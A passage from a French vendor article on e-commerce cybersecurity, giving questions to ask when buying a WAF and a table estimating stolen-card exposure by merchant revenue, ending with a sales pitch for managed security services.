S'il n'y a aucun débat sur le fait que Cloudflare est certainement l'un des meilleurs anti-DDoS au monde au regard de ses capacités, nous vous prions de garder à l'esprit que cette menace devrait être le cadet de vos soucis en 2026.

L'écosystème français est durement impacté depuis plus de deux ans par des compromissions massives, comme le rappelle régulièrement Bonjour la fuite.

Les explications sont multiples. Au-delà des actions de représailles menées par des groupes pro-russes, en réaction au soutien actif de la France à l'Ukraine, il convient également de rappeler que des adolescents, dopés à des IA libertariennes, sont mis en cause depuis plus d'un an dans des compromissions d'envergure.

Si l'IA constitue indéniablement une révolution technologique, elle s'accompagne également d'un ensemble de défis structurels particulièrement complexes à gérer à court terme. Parmi eux : des IA non régulées, véritables bombes artisanales ambulantes, désormais accessibles à des enfants dont le sens de l'éthique et de la morale n'est pas encore pleinement structuré.



7. Les questions à poser lorsqu'on achète un WAF



Lorsque vous réclamez un WAF et que vous ne souhaitez pas qu'il soit purement décoratif, voici les questions essentielles à poser :
  • Sur quelle technologie est-il basé ? Est-ce OWASP CRS comme Cloudflare ?
  • Si oui, quel niveau de paranoïa est configuré ? Avec quel score minimum de blocage ?
  • Qui gère les mises à jour des règles CRS, et selon quel processus ?
  • Quel SIEM est déployé pour analyser les blocages afin d'éviter des impacts négatifs sur le chiffre d'affaires ? Quelles en sont les limites ?
  • Comment les blocages non souhaités (faux positifs) identifiés par le SIEM sont-ils analysés, qualifiés et corrigés ? Selon quels critères les règles de contournement ou de déblocage sont-elles définies et appliquées ?
  • Quelles sociétés professionnelles de tests d'intrusion (telles que Qualys avec Qualys WAS) éprouvent régulièrement votre dispositif défensif ?
  • Quelle société audite et diagnostique la performance réelle du WAF (par exemple, le diagnostiqueur de WAF TouchWeb) ?

Lorsque l'ensemble de ces points est traité sérieusement, vous disposez d'indicateurs forts attestant du professionnalisme du prestataire en charge de l'intégration et de l'exploitation de votre WAF. À défaut, une vigilance accrue s'impose, sous peine de déployer un dispositif inefficace.

Cela ne signifie pas que vous ne serez jamais compromis : toutes les mécaniques de cybersécurité étant perfectibles par nature, vous maximisez néanmoins votre réduction du risque.



8. Conclusion : vos protocoles de sécurité doivent évoluer proportionnellement à la menace.



Si l'on part du principe que le panier moyen est de 68€ (source : Fevad) et que le prix moyen constaté d'une carte bleue française volée est de 10€ (source : 01net)

Voici un état de vos risques en fonction de votre chiffre d'affaires :

Profil e-commerçant PCI-DSS / Risque CA annuel Commandes / jour Cartes bancaires compromises Valeur estimée pour les criminels
Détection < 48 h Détection < 14 jours Détection < 48 h Détection < 14 jours
Micro-entreprise (TTPE) 4 - Faible 100K € 4 commandes / jour 8 CB volées 56 CB volées 80€ 560€
TPE tranche basse 4 - Modéré 500K € 20 commandes / jour 40 CB volées 280 CB volées 400€ 2 800€
TPE tranche haute 4 - Élevé 1M € 40 commandes / jour 80 CB volées 560 CB volées 800€ 5 600€
PME - PE tranche basse 3 - Très élevé 2M € 80 commandes / jour 160 CB volées 1 120 CB volées 1 600€ 11 200€
PME - PE tranche haute 3 - Critique 10M € 400 commandes / jour 800 CB volées 5 600 CB volées 8 000€ 56 000€
PME - ME tranche basse 3 - Critique 20M € 800 commandes / jour 1 600 CB volées 11 200 CB volées 16 000€ 112 000€
PME - ME tranche haute 3 - Critique 50M € 2 000 commandes / jour 4 000 CB volées 28 000 CB volées 40 000€ 280 000€
L'évaluation du risque doit tenir compte de la volumétrie quotidienne de transactions. Un site e-commerce réalisant 1 M€ de chiffre d'affaires annuel avec un panier moyen de 5 € (goodies) peut se retrouver exposé à un risque critique au lieu d'élevé. À l'inverse, un site générant 50 M€ de chiffre d'affaires avec un panier moyen de 2 500 € (bijoux) peut présenter un niveau de risque élevé au lieu de critique.

En 2026, tous les profils d'e-commerçants réalisant plus de 1 M€ de chiffre d'affaires annuel présentent un risque élevé, et les PME sont désormais considérées comme exposées à un risque très élevé à critique.

La cybersécurité n'est ni un produit, ni une option, et encore moins un argument commercial que l'on active après un sinistre.

C'est une discipline exigeante, chronophage, coûteuse, et fondamentalement incompatible avec les logiques de compromis permanents et de moins-disant.

Un WAF mal configuré, sans observabilité (SIEM), sans expertise, ne protège rien.

Il rassure, il décore, mais il n'arrête pas des adversaires qui, eux, travaillent méthodiquement, itérativement, et sans contrainte budgétaire.

Les compromissions que nous observons aujourd'hui ne sont pas une fatalité technologique.

Elles sont la conséquence directe de choix humains : sous-investissement, délégation aveugle, et refus d'assumer que la sécurité a un coût incompressible.

En cybersécurité comme ailleurs, le réel finit toujours par s'imposer.

Et lorsqu'il le fait, la facture est systématiquement plus élevée que l'investissement initial qui aurait permis de l'éviter.

Si votre service d'infogérance (hors hébergement) vous coûte moins de 6 000€ HT par an, vous êtes très certainement exposé.

À ce niveau de budget, il est illusoire d'espérer une supervision professionnelle, une gestion proactive de la sécurité ou une réelle capacité de réaction avec un SIEM pro-actif.

Dans un contexte qui se durcit, seules les sociétés capables de s'adapter dès aujourd'hui préserveront leur capacité à exister demain.

Sans cybersécurité, le sinistre n'est pas un risque, mais une échéance inévitable.

Souhaitez-vous en discuter avec nous ? 02 42 00 00 24